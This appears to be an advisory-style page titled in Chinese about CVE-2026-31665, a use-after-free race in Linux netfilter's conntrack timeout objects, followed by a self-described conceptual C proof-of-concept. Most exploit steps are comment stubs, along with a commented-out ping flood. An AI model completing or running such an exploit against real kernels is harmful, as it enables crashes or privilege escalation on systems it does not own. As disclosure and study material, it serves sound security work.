CVE-2026-31665 Linux内核netfilter释放后重用漏洞

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <libmnl/libmnl.h> #include <libnftnl/table.h> #include <libnftnl/obj.h> /* * PoC for CVE-2026-31665 (Conceptual) * This demonstrates the sequence to trigger the race condition. * Requires CAP_NET_ADMIN to manipulate nftables. */ int main() { struct mnl_socket *nl; struct nftnl_obj *obj; uint32_t portid, seq; // 1. Setup Netlink Socket nl = mnl_socket_open(NETLINK_NETFILTER); if (!nl) { perror("mnl_socket_open"); exit(EXIT_FAILURE); } // 2. Create a table and a timeout object printf("[*] Creating nftables table and timeout object...\n"); // Code to create table 'test_table' and obj 'test_timeout' would go here // using nftnl_obj_alloc() and batch sending. // 3. Trigger Traffic (Thread A) // Flood packets to ensure nf_conntrack_in is running on other CPUs printf("[*] Generating traffic to hold RCU references...\n"); // system("ping -f 127.0.0.1"); // 4. Destroy Object (Thread B - Main) // This calls nft_ct_timeout_obj_destroy() while traffic is active printf("[*] Deleting timeout object to trigger UAF...\n"); // Code to delete the object immediately. // If the timing is right, kfree() happens before RCU grace period ends. mnl_socket_close(nl); return 0; }